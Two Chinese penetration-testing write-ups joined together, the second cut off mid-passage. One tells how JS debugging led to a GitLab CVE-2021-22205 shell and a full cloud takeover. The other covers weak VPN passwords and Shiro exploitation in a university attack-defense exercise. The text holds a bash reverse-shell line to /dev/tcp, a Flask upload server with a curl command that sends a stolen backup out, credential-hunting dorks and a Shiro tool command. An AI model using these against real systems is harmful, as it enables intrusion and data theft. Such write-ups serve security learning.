0x00 前言 本次分享主要是分享一次HC中的思路，值得大家学习，服务器已经交给相关部门进行取证等也已经打包结A了 0x01 信息收集 首先给到一个资产是二维码，是一张sese图片里面带有约炮的app下载，扫码后得到如下结果 得到如下结果：https://www.target.com 后进行访问主站 注册成功后发现全是妹子(........)，这个时候先别急，咱第一步先去看他调用的JS资源，随便点击一个资源然后刷新一下看他F12网络   这里首先我只能用当时留下的毫无关联的图片进行演示了，当时我看到的JS文件叫 "MyProfile"   </p> 0x02 JS断点调试 这个凭借个人感觉就是个关键信息(我的资料 - > 配置信息？)，   所以凭借这些理由，我在XHR中锁定了"MyProfile"这个关键字进行JS断点 然后刷新进行调试，在漫长的调试过程中我发现在一个很奇怪的JS文件中调用了我的MyProfile字段，叫 /assets/index-xxxxxx.js   一般来说我就会去审计一下这个JS文件，结果发现好东西了   bindgen: "git+http://123.123.123.123:1111/target2/a.git#0.0.14"   0x03 新突破 我当时就立刻去访问了一下，发现竟然是一个gitlab!   </p> 找了一下历史漏洞，CVE-2021-22205 直接梭哈，成功拿到shell   </p> 由于是执行命令，所以写了shell反弹       echo 'bash -i >& /dev/tcp/123.123.123.123/1111 0>&1' > /tmp/haha.shchmod +x /tmp/haha.sh/bin/bash /tmp/haha.sh 成功反弹shell   </p> 发现是ubunto的16.04，但是本地提权失败，找了SUID也没有办法，想尽了各种办法都没办法提权，打算放弃了。 所以接下来就是去寻找Git权限能做的操作，找了一个下午，最终找到了backups目录里下找到了一个backup的tar包，应该八成就是gitlab上的备份了。   </p>   Flask之取文件 但是问题来了，我怎么做到在我反弹shell中把文件拖出来了呢？scp等都试过了不行，于是乎我就写了个flask的上传页面让shell去curl一下把文件post上来（感觉这思路骚的）   </p> 我的服务器                                     from flask import Flask,requestimport os app = Flask(__name__) @app.route('/upload',methods=['POST'])def upload_file(): file = request.files.get('file') if file : filename = file.filename file.save(os.path.join(os.getcwd(),filename)) return f"File {filename} saved successfully" else: return "worry" if __name__ == '__main__': app.run(host='0.0.0.0',debug=True,port=5000) 受控主机shell   curl -X POST http://123.123.123.123:1111/upload -F file=@./a.gitlab_backup.tar   0x04 云沦陷(泄露AK SK) 几个G，下载漫长的很呢！然后拖到本地后应该就是gitlab的备份了，（因为他备份文件名字中带有gitlab的版本号）要用到对应的gitlab的相应版本去搭建。 然后本地搭建导入备份后慢慢的寻找一些有用信息，后面突然发现一个叫application.yaml的文件，进行审计后泄露了ak和sk（这开发倒是备份挺明白的，全部都写清清楚楚）。 这个时候行云管家一把梭哈，因为权限很大，接管整个云了，总共是51台主机都拿下了。   </p> 0x05 总结 思路就是 ：打点 -> JS文件断点调试 ->新突破上shell-> 解决困难-> 发现新大陆(本地搭建)-> 接管云，最后全部打包好给了JF，也进行取证立A了，到此因为一个JS文件拿下整个云结束了，思路可以学习一波。   </p>     文章来源：先知社区（1201463046740633）原文地址：https://xz.aliyun.com/t/12698   ...

前言 这次攻防演练每个队伍分配不同的目标，有些队伍拿的点可以直接 nday 打，有些队伍外网打点十分困难比如我们，但分数是是统一算的，可以说不是那么的公平。不过也算是提供了些许经验，简单做一下总结，都是比较基础的东西，如有写的不正确的地方欢迎各位师傅指正。 外网打点 敏感信息泄露 一般来说学校外网能拿直接权限的点已经很少了，web 应用大多是放在 vpn 后面，因此能弄到一个 vpn 账号可以说是事半功倍 另外还可以通过语法筛选出存在默认弱口令的系统，常用命令如下： PLAINTEXT 1 2 3 4 5 6 7 #google语法 site:*.edu.cn intext: vpn | 用户名 | 密码 | 帐号 | 默认密码     #github*.edu.cn password   查看方式优先选择最近更新，太久远的基本上失效了 这里队友收集到了某个目标的 vpn 账号，使用的是 姓名拼音/12345678 弱口令 进去内网后能访问的只有一个 OA 系统，测试了一下没发现什么东西，寻找其他突破口 shiro 无链 常规的打点可通过 fofa、hunter、quake 等网络测绘平台进行资产收集，收集好后进行去重，把去重后的资产列表进行批量指纹识别，筛选出重要易打点的系统 在常规的 hw 中这些方法比较通用，但是对于教育行业来说会相对困难，有 edusrc 的存在许多通用型漏洞已经被提交修复了，因此在信息搜集的时候要多去寻找旁站和一些容易被遗漏的站点 坐了一天牢后，终于通过测绘平台找到一个比较偏的资产，直接访问是一个静态页面，但扫描目录后指纹识别一波发现是 shiro 直接工具开冲，发现有默认 key 但是无利用链 这里想到之前学习 shiro 可以无依赖利用，感觉有戏尝试一波，相关知识可学习此文章 https://www.le1a.com/posts/a5f4a9e3/ PLAINTEXT 12 java -jar shiro_tool.jar 地址VPS:端口 通过 dnslog 测试有回显，这里有个注意点：使用 http://dnslog.cn/部分站点会拦截，可以换多个 dnslog 平台测试 dnslog 有回显接下来就是拿 shell 了，这里由于固化思维，之前遇到的都是 linux 系统，先入为主觉得是 Linux，结果没利用成功 这里可以通过网站快速生成 payload，https://x.hacking8.com/java-runtime.html 一开始以为是防火墙拦截，后面队友探测了一下目录结构，发现是 windows，所以这里 payload 要改变一下 Linux：   ...